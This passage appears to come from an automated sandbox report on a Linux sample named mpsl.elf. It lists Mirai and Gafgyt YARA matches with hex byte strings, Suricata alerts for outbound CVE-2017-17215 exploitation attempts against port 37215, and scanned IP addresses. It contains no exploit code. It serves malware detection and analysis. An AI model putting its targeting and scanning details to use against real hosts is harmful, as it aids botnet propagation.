78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2eb2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ec6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2eda:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mpsl.elf PID: 5458	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x3606:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: mpsl.elf PID: 5465	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: mpsl.elf PID: 5465	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x31e5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x31f9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x320d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3221:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3235:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3249:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x325d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3271:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3285:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3299:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32ad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32c1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32d5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32e9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3311:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3325:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3339:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x334d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3361:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3375:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mpsl.elf PID: 5465	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x3aa1:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: mpsl.elf PID: 5467	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: mpsl.elf PID: 5467	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3c38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3d8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3da0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3db4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3dc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mpsl.elf PID: 5467	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x44f4:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 52 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T19:43:17.434934+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44472	41.139.71.227	37215	TCP
2025-02-19T19:43:17.536852+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38712	41.91.152.85	37215	TCP
2025-02-19T19:43:20.231947+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40198	41.190.149.92	37215	TCP
2025-02-19T19:43:20.289384+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54428	41.223.83.199	37215	TCP

ETPRO MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T19:43:20.099654+0100	2839471	1	Web Application Attack	192.168.2.13	37882	112.209.25.241	80	TCP
2025-02-19T19:43:20.127985+0100	2839471	1	Web Application Attack	192.168.2.13	37118	112.180.178.145	80	TCP
2025-02-19T19:43:20.310680+0100	2839471	1	Web Application Attack	192.168.2.13	57104	112.153.230.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mpsl.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: mpsl.elf	ReversingLabs: Detection: 65%
Source: mpsl.elf	Virustotal: Detection: 61%			Perma Link

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44472 -> 41.139.71.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38712 -> 41.91.152.85:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37882 -> 112.209.25.241:80
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37118 -> 112.180.178.145:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54428 -> 41.223.83.199:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57104 -> 112.153.230.206:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40198 -> 41.190.149.92:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.63.31.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.11.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.120.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.83.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.184.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.52.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.85.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.80.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.147.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.40.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.112.192.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.26.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.67.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.207.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.41.234.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.236.2.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.6.146.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.53.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.174.20.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.18.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.4.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.131.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.240.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.177.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.179.145.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.25.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.254.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.74.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.61.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.247.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.151.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.152.169.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.159.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.128.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.111.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.16.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.16.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.195.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.193.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.155.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.189.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.169.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.4.161.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.9.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.36.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.252.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.14.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.91.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.171.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.5.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.52.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.72.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.95.233.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.184.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.181.189.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.191.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.255.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.14.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.190.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.122.238.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.15.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.149.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.130.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.40.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.130.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.26.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.83.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.24.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.29.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.56.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.97.246.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.91.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.141.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.197.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.245.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.167.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.27.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.202.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.123.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.172.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.196.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.215.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.7.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.17.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.243.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.117.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.43.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.191.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.26.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.192.225.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.236.138.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.179.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.205.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.223.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.220.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.191.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.93.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.62.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.149.130.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.112.198.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.158.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.252.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.9.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.83.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.244.238.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.58.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.226.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.75.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.152.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.208.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.122.80.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.123.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.204.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.131.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.192.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.91.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.194.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.125.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.255.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.66.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.1.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.57.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.83.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.4.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.13.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.4.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.83.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.82.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.60.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.7.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.149.82.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.241.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.86.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.178.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.77.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.123.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.244.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.41.222.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.248.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.48.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.87.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.56.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.198.206.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.158.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.23.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.77.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.102.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.158.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.145.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.144.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.192.105.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.178.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.2.104.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.253.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.22.235.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.161.208.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.28.88.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.9.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.238.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.71.227 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
